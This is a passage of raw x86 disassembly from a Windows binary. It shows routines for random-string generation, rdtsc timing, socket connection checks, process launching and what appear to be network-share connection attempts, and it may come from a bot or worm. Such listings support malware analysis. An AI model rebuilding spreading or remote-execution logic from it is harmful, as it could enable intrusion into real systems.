loc_41B72A: ; CODE XREF: sub_41B6E0+44j
cmp byte ptr [esi+ebp-1], 0Dh
jnz short loc_41B737
mov [esi+ebp-1], bl
jmp short loc_41B739
; ---------------------------------------------------------------------------
loc_41B737: ; CODE XREF: sub_41B6E0+4Fj
mov [edi], bl
loc_41B739: ; CODE XREF: sub_41B6E0+55j
mov byte ptr [esp+10h+arg_4], bl
loc_41B73D: ; CODE XREF: sub_41B6E0+48j
mov edx, [esp+10h+arg_8]
inc esi
inc edi
lea eax, [edx-1]
cmp esi, eax
jl short loc_41B6FF
loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj
; sub_41B6E0+21j ...
mov eax, [esp+10h+arg_8]
pop edi
pop esi
mov [eax+ebp-1], bl
pop ebp
mov al, 1
pop ebx
retn
; ---------------------------------------------------------------------------
loc_41B759: ; CODE XREF: sub_41B6E0+3Aj
pop edi
pop esi
pop ebp
xor al, al
pop ebx
retn
sub_41B6E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41B780: ; CODE XREF: ___:00401ADCj
push ebx
mov ebx, [esp+8]
push ebp
mov ebp, [esp+10h]
mov ecx, ebp
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebx
shr ecx, 2
rep stosd
mov ecx, edx
xor esi, esi
and ecx, 3
test ebp, ebp
rep stosb
jle short loc_41B7DB
loc_41B7A6: ; CODE XREF: ___:0041B7D9j
push 3
push 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B7C7
dec eax
jz short loc_41B7C1
dec eax
jnz short loc_41B7D6
push 7Ah
push 61h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C1: ; CODE XREF: ___:0041B7B6j
push 5Ah
push 41h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C7: ; CODE XREF: ___:0041B7B3j
push 39h
push 30h
loc_41B7CB: ; CODE XREF: ___:0041B7BFj
; ___:0041B7C5j
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B7D6: ; CODE XREF: ___:0041B7B9j
inc esi
cmp esi, ebp
jl short loc_41B7A6
loc_41B7DB: ; CODE XREF: ___:0041B7A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B800 proc near ; CODE XREF: sub_40141Aj
rdtsc
retn
sub_41B800 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B820 proc near ; CODE XREF: sub_4017F3j
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_50F8D0
push ebp
push esi
push edi
xor ebp, ebp
loc_41B82F: ; CODE XREF: sub_41B820+43j
; sub_41B820+4Dj
call sub_40141A
push 3E8h
mov esi, eax
mov edi, edx
call ebx ; dword_50F8D0
call sub_40141A
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_436970
push ebp
push 0Ah
push edx
push eax
call sub_436970
cmp edx, ebp
mov esi, eax
ja short loc_41B82F
jb short loc_41B86F
cmp esi, 0F4240h
ja short loc_41B82F
loc_41B86F: ; CODE XREF: sub_41B820+45j
push ebp
push 64h
push edx
push esi
call sub_4368F0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B8F9
jb short loc_41B88F
cmp ecx, 50h
jnb short loc_41B898
loc_41B88F: ; CODE XREF: sub_41B820+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B898: ; CODE XREF: sub_41B820+6Dj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8A3
cmp ecx, 47h
jnb short loc_41B8AC
loc_41B8A3: ; CODE XREF: sub_41B820+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B8AC: ; CODE XREF: sub_41B820+81j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8B7
cmp ecx, 37h
jnb short loc_41B8C0
loc_41B8B7: ; CODE XREF: sub_41B820+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B8C0: ; CODE XREF: sub_41B820+95j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8CB
cmp ecx, 26h
jnb short loc_41B8D4
loc_41B8CB: ; CODE XREF: sub_41B820+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B8D4: ; CODE XREF: sub_41B820+A9j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8DF
cmp ecx, 1Eh
jnb short loc_41B8E8
loc_41B8DF: ; CODE XREF: sub_41B820+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B8E8: ; CODE XREF: sub_41B820+BDj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8F3
cmp ecx, 0Ah
jnb short loc_41B8F9
loc_41B8F3: ; CODE XREF: sub_41B820+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B8F9: ; CODE XREF: sub_41B820+66j
; sub_41B820+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B950 proc near ; CODE XREF: sub_402022j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41B950
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_447769
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BAAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_401424
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C5D
mov ebp, eax
call sub_401EEC
lea ecx, [esp+50h+var_3C]
call sub_4013D9
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call near ptr 281112Eh
nop
test eax, eax
jnz short loc_41B9E6
mov edi, offset byte_446F70
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41B9E6: ; CODE XREF: sub_41B950+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41B9EF: ; CODE XREF: sub_41B950+A9j
cmp ecx, eax
jnz short loc_41B9F5
mov bl, 1
loc_41B9F5: ; CODE XREF: sub_41B950+A1j
inc eax
cmp eax, 5Bh
jl short loc_41B9EF
mov eax, 61h
loc_41BA00: ; CODE XREF: sub_41B950+BAj
cmp ecx, eax
jnz short loc_41BA06
mov bl, 1
loc_41BA06: ; CODE XREF: sub_41B950+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BA00
test bl, bl
jnz short loc_41BA32
mov edi, offset byte_446F70
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BA32: ; CODE XREF: sub_41B950+BEj
mov esi, dword_50FABC
call esi ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi ; dword_50FABC
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BAAF: ; CODE XREF: sub_41B950+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_401424
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27F08B4h
push eax
nop
call near ptr 77C371BCh
mov edi, dword_50FABC
add esp, 4
call edi ; dword_50FABC
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015D7
test esi, esi
jle short loc_41BB4E
loc_41BAF8: ; CODE XREF: sub_41B950+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_401424
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FBE
call edi ; dword_50FABC
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+54h+var_24]
push offset dword_443E84
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BAF8
loc_41BB4E: ; CODE XREF: sub_41B950+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014C9
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41B950 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC20: ; CODE XREF: ___:00401569j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BC2F
cmp al, 9
jz short loc_41BC2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BC2F: ; CODE XREF: ___:0041BC26j
; ___:0041BC2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: ___:00401ED8j
mov eax, [esp+4]
push offset dword_443E8C
push eax
call near ptr 77C3F010h
nop
add esp, 8
test eax, eax
jz short loc_41BC74
push eax
call near ptr 77C40AB1h
nop
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BC74: ; CODE XREF: ___:0041BC65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BC90 proc near ; CODE XREF: sub_401479j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BEEE
mov esi, offset byte_446F70
mov eax, edi
loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
test cl, cl
jz short loc_41BCCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BCAA
loc_41BCCE: ; CODE XREF: sub_41BC90+26j
xor eax, eax
jmp short loc_41BCD7
; ---------------------------------------------------------------------------
loc_41BCD2: ; CODE XREF: sub_41BC90+22j
; sub_41BC90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BCD7: ; CODE XREF: sub_41BC90+40j
test eax, eax
jz loc_41BEEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
call near ptr 77C47A90h
nop
mov edi, dword_50FAF4
lea ecx, [esp+4Ch+var_20]
push offset dword_443DD4
push ecx
call edi ; dword_50FAF4
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BEEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BD17: ; CODE XREF: sub_41BC90+A4j
push offset dword_443DD4
push 0
call edi ; dword_50FAF4
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BEEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BD17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_443EA8
mov eax, ebp
loc_41BD41: ; CODE XREF: sub_41BC90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
test dl, dl
jz short loc_41BD65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD41
loc_41BD65: ; CODE XREF: sub_41BC90+BDj
xor eax, eax
jmp short loc_41BD6E
; ---------------------------------------------------------------------------
loc_41BD69: ; CODE XREF: sub_41BC90+B9j
; sub_41BC90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BD6E: ; CODE XREF: sub_41BC90+D7j
test eax, eax
jnz short loc_41BD7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BD7C: ; CODE XREF: sub_41BC90+E0j
mov esi, offset dword_443EA4
mov eax, ebp
loc_41BD83: ; CODE XREF: sub_41BC90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
test dl, dl
jz short loc_41BDA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD83
loc_41BDA7: ; CODE XREF: sub_41BC90+FFj
xor eax, eax
jmp short loc_41BDB0
; ---------------------------------------------------------------------------
loc_41BDAB: ; CODE XREF: sub_41BC90+FBj
; sub_41BC90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDB0: ; CODE XREF: sub_41BC90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BDFA
mov esi, offset dword_443EA0
mov edx, edi
loc_41BDBF: ; CODE XREF: sub_41BC90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BDE7
test bl, bl
jz short loc_41BDE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BDE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BDBF
loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj
xor edx, edx
jmp short loc_41BDEC
; ---------------------------------------------------------------------------
loc_41BDE7: ; CODE XREF: sub_41BC90+137j
; sub_41BC90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BDEC: ; CODE XREF: sub_41BC90+155j
test edx, edx
jnz short loc_41BDFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BDFA: ; CODE XREF: sub_41BC90+126j
; sub_41BC90+15Ej
mov esi, offset dword_443E9C
mov edx, ebp
loc_41BE01: ; CODE XREF: sub_41BC90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE29
test bl, bl
jz short loc_41BE25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE01
loc_41BE25: ; CODE XREF: sub_41BC90+17Dj
xor edx, edx
jmp short loc_41BE2E
; ---------------------------------------------------------------------------
loc_41BE29: ; CODE XREF: sub_41BC90+179j
; sub_41BC90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE2E: ; CODE XREF: sub_41BC90+197j
test edx, edx
jnz short loc_41BE74
mov esi, offset dword_443E98
mov edx, edi
loc_41BE39: ; CODE XREF: sub_41BC90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE61
test bl, bl
jz short loc_41BE5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE39
loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j
xor edx, edx
jmp short loc_41BE66
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BC90+1B1j
; sub_41BC90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE66: ; CODE XREF: sub_41BC90+1CFj
test edx, edx
jnz short loc_41BE74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE74: ; CODE XREF: sub_41BC90+1A0j
; sub_41BC90+1D8j
mov esi, offset dword_443E94
mov ecx, ebp
loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
test dl, dl
jz short loc_41BE9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BE7B
loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j
xor ecx, ecx
jmp short loc_41BEA8
; ---------------------------------------------------------------------------
loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j
; sub_41BC90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BEA8: ; CODE XREF: sub_41BC90+211j
test ecx, ecx
jnz short loc_41BEEE
mov esi, offset dword_443E90
mov eax, edi
loc_41BEB3: ; CODE XREF: sub_41BC90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
test cl, cl
jz short loc_41BED7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BEB3
loc_41BED7: ; CODE XREF: sub_41BC90+22Fj
xor eax, eax
jmp short loc_41BEE0
; ---------------------------------------------------------------------------
loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj
; sub_41BC90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEE0: ; CODE XREF: sub_41BC90+249j
test eax, eax
jnz short loc_41BEEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEEE: ; CODE XREF: sub_41BC90+Dj
; sub_41BC90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BC90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BFA0 proc near ; CODE XREF: sub_402004j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C008
cmp esi, 0FFFFFFFFh
jz short loc_41C008
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
call near ptr 71AB2B66h
nop
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
nop
call near ptr 71AB406Ah
test eax, eax
jnz short loc_41BFF9
mov bl, 1
loc_41BFF9: ; CODE XREF: sub_41BFA0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C008: ; CODE XREF: sub_41BFA0+18j
; sub_41BFA0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41BFA0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C030 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
call near ptr 7CA41110h
nop
cmp eax, 20h
setnl al
retn
sub_41C030 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_402149j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
nop
call near ptr 2800000h
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C070 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C0E0: ; CODE XREF: ___:00401875j
sub esp, 354h
mov eax, off_443EB4
mov ecx, dword_443EB8
mov [esp+0], eax
mov al, byte_446F70
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EBC
rep stosd
mov ecx, off_443EAC
mov [esp+10h], edx
mov dx, word_443EB0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
nop
call near ptr 27B0000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; dword_50FAAC
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; dword_50FAAC
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50BB8C
push offset dword_50BB8C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_436FA8
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C1C8
cmp eax, 4C3h
jnz short loc_41C1D1
loc_41C1C8: ; CODE XREF: ___:0041C1BFj
push edi
push edi
push edi
push esi
call sub_436FA8
; ---------------------------------------------------------------------------
loc_41C1D1: ; CODE XREF: ___:0041C1C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C1E8
cmp eax, 4C3h
jz short loc_41C1E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C1E8: ; CODE XREF: ___:0041C1D6j
; ___:0041C1DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C250: ; CODE XREF: ___:00401EC9j
sub esp, 354h
mov eax, off_443EB4
mov ecx, dword_443EB8
mov [esp+0], eax
mov al, byte_446F70
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EBC
rep stosd
mov ecx, off_443EAC
mov [esp+10h], edx
mov dx, word_443EB0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
nop
call near ptr 27B0000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi ; dword_50FAAC
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi ; dword_50FAAC
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_436FAE
test eax, eax
jz short loc_41C338
mov esi, dword_50F8D0
loc_41C31C: ; CODE XREF: ___:0041C336j
push 7D0h
call esi ; dword_50F8D0
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_436FAE
test eax, eax
jnz short loc_41C31C
loc_41C338: ; CODE XREF: ___:0041C314j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C390 proc near ; CODE XREF: sub_401D7Fj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C390
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_41C390 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+24h]
push 8
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+4Ch]
push 8
push ecx
call sub_4019B5
add esp, 34h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C610 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C610
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_401424
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_401424
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401424
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401424
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401424
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B36
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C83C
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
